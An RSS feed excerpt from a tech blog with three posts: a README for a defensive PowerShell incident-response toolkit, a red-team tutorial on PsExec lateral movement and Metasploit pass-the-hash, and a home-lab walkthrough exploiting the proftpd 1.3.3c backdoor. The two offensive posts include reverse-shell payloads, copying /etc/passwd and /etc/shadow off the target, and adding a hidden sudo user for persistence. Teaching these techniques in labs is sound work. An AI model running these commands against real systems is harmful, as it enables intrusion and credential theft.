					<wfw:commentRss>http://kostacipo.stream/h4x-tools-designed-for-scraping-osint-and-beyond/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Powershell Digital Forensics And Incident Response (DFIR) – Leveraging Scripts For Effective Cybersecurity</title>
		<link>http://kostacipo.stream/powershell-digital-forensics-and-incident-response-dfir-leveraging-scripts-for-effective-cybersecurity/</link>
					<comments>http://kostacipo.stream/powershell-digital-forensics-and-incident-response-dfir-leveraging-scripts-for-effective-cybersecurity/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Wed, 21 Feb 2024 23:49:00 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Wargames]]></category>
		<category><![CDATA[Powershell Digital Forensics]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2181</guid>

					<description><![CDATA[<p>This repository contains multiple PowerShell scripts that can help you respond to cyber attacks on Windows Devices. The following Incident Response scripts are included: DFIR Script: Collects all items as listed in section DFIR Script. CollectWindowsEvents: Collects all Windows events and outputs it as CSV. CollectWindowsSecurityEvents: Collects all Windows security events and outputs it as CSV. [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/powershell-digital-forensics-and-incident-response-dfir-leveraging-scripts-for-effective-cybersecurity/">Powershell Digital Forensics And Incident Response (DFIR) – Leveraging Scripts For Effective Cybersecurity</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>This repository contains multiple PowerShell scripts that can help you respond to cyber attacks on Windows Devices.</p>
<p>The following Incident Response scripts are included:</p>
<ul>
<li><a href="https://github.com/Bert-JanP/Incident-Response-Powershell/blob/main/DFIR-Script.ps1" target="_blank" rel="noreferrer noopener nofollow">DFIR Script</a>: Collects all items as listed in section <a href="https://github.com/Bert-JanP/Incident-Response-Powershell#dfir-script" target="_blank" rel="noreferrer noopener nofollow">DFIR Script</a>.</li>
<li><a href="https://github.com/Bert-JanP/Incident-Response-Powershell/blob/main/Scripts/CollectWindowsEvents.ps1" target="_blank" rel="noreferrer noopener nofollow">CollectWindowsEvents</a>: Collects all Windows events and outputs it as CSV.</li>
<li><a href="https://github.com/Bert-JanP/Incident-Response-Powershell/blob/main/Scripts/CollectWindowsSecurityEvents.ps1" target="_blank" rel="noreferrer noopener nofollow">CollectWindowsSecurityEvents</a>: Collects all Windows security events and outputs it as CSV.</li>
<li><a href="https://github.com/Bert-JanP/Incident-Response-Powershell/blob/main/Scripts/CollectPnPDevices.ps1" target="_blank" rel="noreferrer noopener nofollow">CollectPnPDevices</a>: Collects all Plug and Play devices, such as USB, Network and Storage.</li>
<li><a href="https://github.com/Bert-JanP/Incident-Response-Powershell/blob/main/Scripts/DumpLocalAdmins.ps1" target="_blank" rel="noreferrer noopener nofollow">DumpLocalAdmins</a>: Returns all local admins of a device.</li>
<li><a href="https://github.com/Bert-JanP/Incident-Response-Powershell/blob/main/Scripts/LastLogons.ps1" target="_blank" rel="noreferrer noopener nofollow">LastLogons</a> – List the last N successful logins of a device.</li>
<li><a href="https://github.com/Bert-JanP/Incident-Response-Powershell/blob/main/Scripts/ListInstalledSecurityProducts.ps1" target="_blank" rel="noreferrer noopener nofollow">ListInstalledSecurityProducts</a> – List the installed security products and their status.</li>
<li><a href="https://github.com/Bert-JanP/Incident-Response-Powershell/blob/main/Scripts/ListDefenderExclusions.ps1" target="_blank" rel="noreferrer noopener nofollow">ListDefenderExclusions</a> – List the FolderPath, FileExtension, Process and IP exclusions that are defined.</li>
</ul>
<h2 class="wp-block-heading"><strong>DFIR Script – Extracted Artefacts</strong></h2>
<p>The <a href="https://github.com/Bert-JanP/Incident-Response-Powershell/blob/main/DFIR-Script.ps1" target="_blank" rel="noreferrer noopener nofollow">DFIR script</a> collects information from multiple sources and structures the output in the current directory in a folder named ‘DFIR-hostname-year-month-date’.</p>
<p>This folder is zipped at the end, so that folder can be remotely collected. This script can also be used within Defender For Endpoint in a Live Response session (see below).</p>
<p>The DFIR script collects the following information when running as normal user:</p>
<ul>
<li>Local IP Info</li>
<li>Open Connections</li>
<li>Aautorun Information (Startup Folder &amp; Registry Run keys)</li>
<li>Active Users</li>
<li>Local Users</li>
<li>Connections Made From Office Applications</li>
<li>Active SMB Shares</li>
<li>RDP Sessions</li>
<li>Active Processes</li>
<li>Active USB Connections</li>
<li>Powershell History</li>
<li>DNS Cache</li>
<li>Installed Drivers</li>
<li>Installed Software</li>
<li>Running Services</li>
<li>Scheduled Tasks</li>
<li>Browser history and profile files</li>
</ul>
<p>For the best experience run the script as admin, then the following items will also be collected:</p>
<ul>
<li>Windows Security Events</li>
<li>Remotely Opened Files</li>
<li>Shadow Copies</li>
<li>MPLogs</li>
<li>Defender Exclusions</li>
</ul>
<h2 class="wp-block-heading"><strong>SIEM Import Functionality</strong></h2>
<p>The forensic artefacts are exported as CSV files, which allows responders to ingest them into their tooling. Some example tools in which you can ingest the data are Sentinel, Splunk, Elastic or Azure Data Explorer. This will allow you to perform filtering, aggregation and visualisation with your preferred query language.</p>
<p>The folder <em>CSV Results (SIEM Import Data)</em> includes all the CSV files containing the artefacts, the folder listing is shown below.</p>
<pre class="wp-block-code"><code>Name
----
ActiveUsers.csv
AutoRun.csv
ConnectedDevices.csv
DefenderExclusions.csv
DNSCache.csv
Drivers.csv
InstalledSoftware.csv
IPConfiguration.csv
LocalUsers.csv
NetworkShares.csv
OfficeConnections.csv
OpenTCPConnections.csv
PowerShellHistory.csv
Processes.csv
RDPSessions.csv
RemotelyOpenedFiles.csv
RunningServices.csv
ScheduledTasks.csv
ScheduledTasksRunInfo.csv
SecurityEvents.csv
ShadowCopy.csv
SMBShares.csv</code></pre>
<h2 class="wp-block-heading"><strong>DFIR Commands</strong></h2>
<p>The <a href="https://github.com/Bert-JanP/Incident-Response-Powershell/blob/main/DFIR-Commands.md" target="_blank" rel="noreferrer noopener nofollow">DFIR Commands page</a> contains invidividual powershell commands that can be used during your incident response process. The follwing catagories are defined:</p>
<ul>
<li>Connections</li>
<li>Persistence</li>
<li>Windows Security Events</li>
<li>Processes</li>
<li>User &amp; Group Information</li>
<li>Applications</li>
<li>File Analysis</li>
<li>Collect IOC Information</li>
</ul>
<h2 class="wp-block-heading"><strong>Windows Usage</strong></h2>
<p>The script can be excuted by running the following command.</p>
<pre class="wp-block-code"><code>.\DFIR-Script.ps1</code></pre>
<p>The script is unsigned, that could result in having to use the -ExecutionPolicy Bypass to run the script.</p>
<pre class="wp-block-code"><code>Powershell.exe -ExecutionPolicy Bypass .\DFIR-Script.ps1</code></pre>
<h2 class="wp-block-heading"><strong>DFIR Script | Defender For Endpoit Live Response Integration</strong></h2>
<p>It is possible to use the DFIR Script in combination with the Defender For Endpoint Live Repsonse. Make sure that Live Response is setup (See DOCS). Since my script is usigned a setting change must be made to able to run the script.</p>
<p>There is a blog article available that explains more about how to leverage Custom Script in Live Response: <a href="https://kqlquery.com/posts/leveraging-live-response/" target="_blank" rel="noreferrer noopener nofollow">Incident Response Part 3: Leveraging Live Response</a></p>
<p>To run unsigned scripts live Response:</p>
<ul>
<li>Security.microsoft.com</li>
<li>Settings</li>
<li>Endpoints</li>
<li>Advanced Features</li>
<li>Make sure that Live Response is enabled</li>
<li>If you want to run this on a server enable live resonse for servers</li>
<li>Enable Live Response unsigened script execution</li>
</ul>
<p>Execute script:</p>
<ul>
<li>Go to the device page</li>
<li>Initiate Live Response session</li>
<li>Upload File to library to upload script</li>
<li>After uploading the script to the library execute: <code>run DFIR-script.ps1</code> to start the script.</li>
<li>Execute <code>getfile DFIR-DeviceName-yyyy-mm-dd</code> to download the retrieved artifacts to your local machine for analysis.</li>
</ul>
<h2 class="wp-block-heading"><strong>Docs</strong></h2>
<ul>
<li><a href="https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/live-response?view=o365-worldwide" target="_blank" rel="noreferrer noopener nofollow">Microsoft Documentation Live Response</a></li>
<li><a href="https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/user-roles?view=o365-worldwide" target="_blank" rel="noreferrer noopener nofollow">DFE User permissions</a></li>
<li><a href="https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/advanced-features?view=o365-worldwide#live-response" target="_blank" rel="noreferrer noopener nofollow">Defender For Endpoint Settings Live Response</a></li>
</ul>
<p>The post <a href="http://kostacipo.stream/powershell-digital-forensics-and-incident-response-dfir-leveraging-scripts-for-effective-cybersecurity/">Powershell Digital Forensics And Incident Response (DFIR) – Leveraging Scripts For Effective Cybersecurity</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/powershell-digital-forensics-and-incident-response-dfir-leveraging-scripts-for-effective-cybersecurity/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Windows Red Team Lateral Movement With PsExec</title>
		<link>http://kostacipo.stream/windows-red-team-lateral-movement-with-psexec/</link>
					<comments>http://kostacipo.stream/windows-red-team-lateral-movement-with-psexec/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Wed, 21 Feb 2024 23:26:36 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Exploitation Tools]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[lateral movement]]></category>
		<category><![CDATA[windows]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2173</guid>

					<description><![CDATA[<p>How to perform Lateral movement on Windows targets Prerequisites &#38; Requirements In order to follow along with the tools and techniques utilized in this document, you will need to use one of the following offensive Linux distributions: Kali Linux Parrot OS The following is a list of recommended technical prerequisites that you will need in [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/windows-red-team-lateral-movement-with-psexec/">Windows Red Team Lateral Movement With PsExec</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<h2 class="entry-subtitle g1-gamma g1-gamma-3rd">How to perform Lateral movement on Windows targets</h2>
<h1>Prerequisites &amp; Requirements</h1>
<p>In order to follow along with the tools and techniques utilized in this document, you will need to use one of the following offensive Linux distributions:</p>
<ul>
<li aria-level="1">Kali Linux</li>
<li aria-level="1">Parrot OS</li>
</ul>
<p>The following is a list of recommended technical prerequisites that you will need in order to get the most out of this technique:</p>
<ul>
<li aria-level="1">Familiarity with Linux system administration.</li>
<li aria-level="1">Familiarity with Windows.</li>
<li aria-level="1">Functional knowledge of TCP/IP.</li>
<li aria-level="1">Familiarity with penetration testing concepts and life-cycle.</li>
</ul>
<p><b>Note: The techniques and tools utilized in this document were performed on Kali Linux Virtual Machine </b></p>
<h1>MITRE ATT&amp;CK Lateral Movement Techniques</h1>
<p>Lateral Movement consists of techniques that adversaries use to enter and control remote systems on a network. Following through on their primary objective often requires exploring the network to find their target and subsequently gaining access to it. Reaching their objective often involves pivoting through multiple systems and accounts to gain. Adversaries might install their own remote access tools to accomplish Lateral Movement or use legitimate credentials with native network and operating system tools, which may be stealthier.</p>
<p><img decoding="async" class="alignnone size-full wp-image-3546 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2023/02/image5-4.png" alt="" width="562" height="629" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2023/02/image5-4.png" /></p>
<p>The following is a list of key techniques and sub-techniques that we will be exploring:</p>
<ol>
<li aria-level="1">Remote Services</li>
<li aria-level="1">Alternate Authentication</li>
</ol>
<p>Our objective is to utilize clear-text passwords and hashes that we extracted to facilitate lateral movement through legitimate authentication protocols/methods.</p>
<h1>Lateral Movement With PsExec</h1>
<p>PsExec is a lightweight telnet replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec’s most powerful uses include launching interactive command prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.</p>
<p>We can use the PsExec utility to authenticate with the target system legitimately and run arbitrary commands or launch a remote command prompt.</p>
<p>We will be running PsExec from our Windows VM as you may encounter a few issues when running PsExec on Linux with Wine.</p>
<p>Note: We will be utilizing the credentials we extracted from the Windows 10 target system in the Credential Access Video.</p>
<p>You can download PsExec from the following link: <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">https://docs.microsoft.com/en-us/sysinternals/downloads/psexec</a></p>
<p>After downloading PsTools archive, you will need to extract it and open a Windows command prompt in the extracted folder.</p>
<p>We can execute a command on the target system with PsExec by specifying the computer name/IP address, username, and password. This can be done by running the following command:</p>
<div class="showyourterms dark nostatusbar" data-title="Terminal">
<div>
<pre class="line" data-line="0">./PsExec64.exe \\&lt;TARGET-IP&gt; -u Administrator -p &lt;PASSWORD&gt; ipconfig</pre>
</div>
</div>
<p>In this case, we will execute the ipconfig command on the target system in order to verify that we can authenticate successfully with PsExec.</p>
<p><img decoding="async" class="alignnone size-full wp-image-3544 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2023/02/image3-4.png" alt="" width="1202" height="478" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2023/02/image3-4.png" /></p>
<p>As highlighted in the preceding screenshot, PsExec authenticates with the target system, executes the ipconfig, and provides us with the output of the command.</p>
<p>Alternatively, we can also initiate a remote command prompt session with the target system by running the following command:</p>
<div class="showyourterms dark nostatusbar" data-title="Terminal">
<div>
<pre class="line" data-line="0">./PsExec64.exe \\&lt;TARGET-IP&gt; -u Administrator -p &lt;PASSWORD&gt; cmd.exe</pre>
</div>
</div>
<p>As highlighted in the following screenshot, we are able to authenticate successfully and obtain a remote command shell session on the target system.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-3543 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2023/02/image2-4.png" alt="" width="1199" height="361" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2023/02/image2-4.png" /></p>
<p>We can now utilize the remote command session to scan and ping for other hosts on the network that we can pivot to.</p>
<h1>Pass-the-Hash With PsExec</h1>
<p>If you weren’t able to extract any cleartext passwords from the target system, you can utilize the pass-the-hash Metasploit module that leverages PsExec in order to authenticate with SMB (Server Message Block) using a user account’s NTLM hash.</p>
<p>Pass-the-hash is a technique that is used by attackers to authenticate to a remote host by using the underlying NTLM or LanMan hash of a user’s password, instead of requiring the associated plaintext password.</p>
<p>For this section, our target system will be running Windows 10. As a prerequisite, ensure that you have gained your initial foothold on the system and have a meterpreter session</p>
<p>The first step will involve loading the SMB PsExec Metasploit module, this can be done by running the following command on the Kali terminal:</p>
<div class="showyourterms dark nostatusbar" data-title="Terminal">
<div>
<pre class="line" data-line="0">msf&gt; use exploit/windows/smb/psexec</pre>
</div>
</div>
<p>After loading the module, you will need to configure the module payload, this can be done by running the following command:</p>
<div class="showyourterms dark nostatusbar" data-title="Terminal">
<div>
<pre class="line" data-line="0">msf&gt; set payload windows/x64/meterpreter/reverse_tcp</pre>
</div>
</div>
<p>You will also need to set the SMBPass and SMBUser options with the NTLM hash and name of the user account. This can be done by running the following commands:</p>
<div class="showyourterms dark nostatusbar" data-title="Terminal">
<div>
<pre class="line" data-line="0">msf&gt; set SMBUser &lt;USERNAME&gt;</pre>
</div>
</div>
<p><em>Note: In this case, we will be setting the “SMBUser” option to “Administrator”.</em></p>
<div class="showyourterms dark nostatusbar" data-title="Terminal">
<div>
<pre class="line" data-line="0">msf&gt; set SMBPass &lt;NTLM Hash&gt;</pre>
</div>
</div>
<p>Finally, you will need to set the target system IP address, this can be done by running the following command:</p>
<div class="showyourterms dark nostatusbar" data-title="Terminal">
<div>
<pre class="line" data-line="0">msf&gt; set RHOSTS &lt;TARGET-IP&gt;</pre>
</div>
</div>
<p>After configuring the options, we can execute the module by running the following command:</p>
<div class="showyourterms dark nostatusbar" data-title="Terminal">
<div>
<pre class="line" data-line="0">msf&gt; run</pre>
</div>
</div>
<p>If authentication is successful, you should receive a new meterpreter session with the privileges of the user you authenticated with as shown in the screenshot below.</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-3545 lazyloaded" src="https://hackersploit.org/wp-content/uploads/2023/02/image4-4.png" alt="" width="1403" height="421" data-expand="600" data-src="https://hackersploit.org/wp-content/uploads/2023/02/image4-4.png" /></p>
<p>The post <a href="http://kostacipo.stream/windows-red-team-lateral-movement-with-psexec/">Windows Red Team Lateral Movement With PsExec</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/windows-red-team-lateral-movement-with-psexec/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Exploiting the proftpd Linux Server</title>
		<link>http://kostacipo.stream/exploiting-the-proftpd-linux-server/</link>
					<comments>http://kostacipo.stream/exploiting-the-proftpd-linux-server/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Mon, 24 Jul 2023 22:21:29 +0000</pubDate>
				<category><![CDATA[Cybersecurity]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">https://kostacipo.stream/?p=2155</guid>

					<description><![CDATA[<p>Computer systems get attacked daily. Ransomware, malware, stolen credentials, video game makers’ source code gets leaked, and money drained from users’ accounts dominate our news feeds. But how do hackers gain initial access to compromise a system? Let’s take a look at how a breach could happen. Don’t get too excited. This Behind the Scenes [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/exploiting-the-proftpd-linux-server/">Exploiting the proftpd Linux Server</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Computer systems get attacked daily. Ransomware, malware, stolen credentials, video game makers’ source code gets leaked, and money drained from users’ accounts dominate our news feeds. But how do hackers gain initial access to compromise a system? Let’s take a look at how a breach could happen.</p>
<p>Don’t get too excited. This Behind the Scenes (BTS) walkthrough is using an old, patched, well-documented vulnerability that was fixed shortly after it was discovered, but it serves as a great example showing how Linux servers are exploited if you don’t keep them patched and up-to-date.</p>
<p>We’ll go through the steps threat actors use to infiltrate a system:</p>
<ul>
<li>Reconnaissance</li>
<li>Scanning</li>
<li>Obtaining Access</li>
<li>Exfilitrating data</li>
<li>Maintaining Persistence</li>
<li>Pivoting</li>
</ul>
<h2 id="h-lab-environment">Lab Environment</h2>
<p>The local home lab provides everything we need for this walkthrough.</p>
<ul>
<li>Vulnerable Linux Machine &#8211; Ubuntu 16.04
<ul>
<li>proftpd 1.3.3c</li>
<li>Apache HTTP</li>
<li>OpenSSH</li>
</ul>
</li>
<li>Attacking Machine &#8211; Ubuntu Server 22.04
<ul>
<li>Nmap</li>
<li>Metasploit</li>
</ul>
</li>
</ul>
<p>These tools are widely used by penetration testers, network administrators, and threat actors alike. The first tool is Nmap, short for Network Mapper. For network admins, Nmap helps to find networked computers, discover open ports, available services, and detect known vulnerabilities on their network. Once a list of services is discovered, they can be exploited.</p>
<h2 id="h-scanning-with-nmap">Scanning with Nmap</h2>
<p>This is part of the reconnaissance or scanning phase where the threat actor wants to learn as much about the target system as they can. Because this is a demonstration we are not going to be quiet about our attack and will do nothing to conceal our intentions. We will use <strong>-sV</strong> option that tells us the current version of any services that are running. This is a noisy attack that should be picked up by most intrusion detection systems or SIEMs.</p>
<p><code>$ nmap -sV 10.10.10.172</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='242.6896551724138'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The results from this command reveal a lot about our target system. Each open port is vulnerable to a potential attack. In our simulated attack, we are going to concentrate on the ftp service running the <strong>proftpd 1.3.3c</strong> software on Port 21.</p>
<table>
<tbody>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>State</th>
<th>Service</th>
<th>Version</th>
</tr>
<tr>
<td><strong>21</strong></td>
<td><strong>tcp</strong></td>
<td><strong>open</strong></td>
<td><strong>ftp</strong></td>
<td><strong>proftpd 1.3.3c</strong></td>
</tr>
<tr>
<td>22</td>
<td>tcp</td>
<td>open</td>
<td>ssh</td>
<td>OpenSSH 7.2p2</td>
</tr>
<tr>
<td>80</td>
<td>tcp</td>
<td>open</td>
<td>http</td>
<td>Apache 2.4.18</td>
</tr>
</tbody>
</table>
<p>The <strong>proftpd 1.3.3c</strong> software was patched over 10 years ago but serves as a good example of how a vulnerable piece of software can be exploited. It is highly unlikely to still be running as an unpatched service.</p>
<h2 id="h-researching-vulnerabilities">Researching Vulnerabilities</h2>
<p>We could use Google to learn more about the vulnerabilities in the <strong>proftpd 1.3.3c</strong> server, or we can use the next tool in our toolbox, Metasploit, and use its built-in database to find known vulnerabilities.</p>
<p>Metasploit is an open-source penetration testing framework that helps network administrators, and security professionals discover vulnerabilities in their systems before exploitation by hackers. Complete with various tools, libraries, user interfaces, and modules, Metasploit allows a user to research, configure a payload, point it at a target, and launch an attack. Metasploit’s extensive database contains hundreds of exploits and payloads. Unfortunately, Metasploit is also widely used by threat actors.</p>
<h2 id="h-launching-metasploit">Launching Metasploit</h2>
<p>Find installation <a href="https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html?ref=hackernoon.com" target="_blank" rel="noopener noreferrer ugc">instructions for Metasploit in the documentation</a> and start the Metasploit framework as root with the following command.</p>
<p><code>$ sudo msfconsole</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='456.23336745138175'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<h2 id="h-search-the-database-for-known-exploits">Search the Database for Known Exploits</h2>
<p>Metasploit comes with an extensive database and technical details of over 180,000 vulnerabilites and 4000 exploits. These are all searchable with the <strong>search</strong> command from the Metasploit command line. We are going to use this database to find <strong>proftpd 1.3.3c</strong> vulnerabilities and known exploits.</p>
<p><code>msf6&gt; search proftpd 1.3.3c</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='171.63141993957703'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The results of the search command reveal that there is a backdoor command execution exploit. This is what we are going to use to gain access to the Linux server.</p>
<h2 id="h-gaining-system-access">Gaining System Access</h2>
<p>Let’s begin initial access to the server by configuring our attack by typing <em><strong>use exploit/unix/ftp/proftpd_133c_backdoor</strong></em> <em>or simply the module ID number, <strong>use 0.</strong></em></p>
<p><code>msf6 &gt; use exploit/unix/ftp/proftpd_133c_backdoor</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='59.20550847457628'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Use the <strong>show payloads</strong> command to display the payloads available for the proftpd_133c_backdoor module.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; show payloads</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='293.33668341708545'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>From the available payloads for the proftpd_133c_backdoor exploit, we are interested in <strong>Option 5</strong>, the <strong>payload/cmd/unix/reverse_perl command</strong>. Set the option using the payload number or the full command as follows:</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set PAYLOAD cmd/unix/reverse_perl</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='60.29962546816479'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Now we need to make some site-specific configuration settings. The first is the IP address of the target machine. Set the remote host IP address with the RHOSTS command. This is the same IP address we used during our Nmap scan earlier and the machine that is running the proftpd_1.3.3c server.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set RHOSTS 10.10.10.172</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='47.614035087719294'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The local IP address is the computer that we are using for this attack. In our case, the LHOST is 10.10.10.171.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; set LHOST 10.10.10.171</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='752' height='55.97074468085106'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>The Metasploit configuration is complete. Run the exploit with the <strong>exploit</strong> command.</p>
<p><code>msf6 exploit(unix/ftp/proftpd_133c_backdoor) &gt; exploit</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='98.14973262032085'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>This exploit takes a few seconds to run. When you see ‘Command shell session 1 opened’ you can issue Linux commands by typing a command name. In our example, entering the <strong>whoami</strong> command displays the current user, which is root. This is a big deal! Root is the superuser account in UNIX, has administrative purposes, and typically has the highest access rights on the system.</p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='100.03174603174602'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>At this point, the system is compromised and you can do whatever you want.</p>
<h2 id="h-gaining-a-shell">Gaining a Shell</h2>
<p>To have any real fun on our compromised system we are going to want a full Linux shell. The following python command spawns a bash shell.</p>
<pre class="language-bash" tabindex="0"><code class="language-bash">python3 <span class="token parameter variable">-c</span> <span class="token string">'import pty; pty.spawn("/bin/bash")'</span>
</code></pre>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='745' height='40.75167785234899'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>Once we have a proper shell we can move through the system as root, having full access to the Linux environment. This is where the system is most vulnerable. As root we can install rootkits, malware, ransomware, and exfiltrate data.</p>
<h2 id="h-data-exfiltration">Data Exfiltration</h2>
<p>Data exfiltration is when a threat actor performs the unauthorized copying, transfer, or retrieval of data from a computer or server. As root, we have full access to the computer and can do anything we want including data exfiltration.</p>
<p>The Linux <strong>/etc/password</strong> file contains a list of system users, combined with the <strong>/etc/shadow</strong> file which contains encrypted passwords. Together these two files can be hacked to reveal username/password combinations for lateral movement through the network.</p>
<p>Again, we don’t really care about protecting our identity or our intentions (a SIEM would flag this immediately) so we are going to use <strong>scp</strong> (secure copy) to copy the password and shadow files to our remote server.</p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='800' height='89.36989498249709'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>And <strong>/etc/shadow</strong></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='778' height='99.33161953727506'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>We exfiltrated <strong>/etc/passwd</strong> and <strong>/etc/shadow</strong> to our local machine. There is no reason that we could not also exfiltrate databases, customer information, stored credit cards, or company-sensitive information out of the network to a remote location as we did with the password files.</p>
<h2 id="h-usernames-and-passwords">Usernames and Passwords</h2>
<p>Cracking the hashed passwords is beyond the scope of this walkthrough, but if you can crack the passwords, an attacker can use the same credentials to pivot to other machines across the network. <strong>John the Ripper</strong> and <strong>Hashcat</strong> are two well-known password cracking tools that can quickly reveal username/password combinations.</p>
<h2 id="h-maintaining-persistence">Maintaining Persistence</h2>
<p>Persistence in cybersecurity occurs when a threat actor discreetly maintains long-term access to systems despite disruptions such as restarts or changed credentials.  As root user, we can perform any administrative task we want, including adding users. One of the ways to maintain persistence is by adding a new user so the threat actor can gain access at a later time. Let’s add a new user.</p>
<p><code>root@vtsec:/# adduser badguy</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
<div><img decoding="async" src="data:;base64,<svg xmlns='http://www.w3.org/2000/svg' version='1.1' width='738' height='54.22764227642276'/>&#8221; alt=&#8221;&#8221; aria-hidden=&#8221;true&#8221; /></div>
<p>And give them superuser access.</p>
<p><code>root@vtsec:/# usermod -aG sudo badguy</code></p>
<div class="sc-a6c0bd8c-1 ijZWBT image-container undefined"></div>
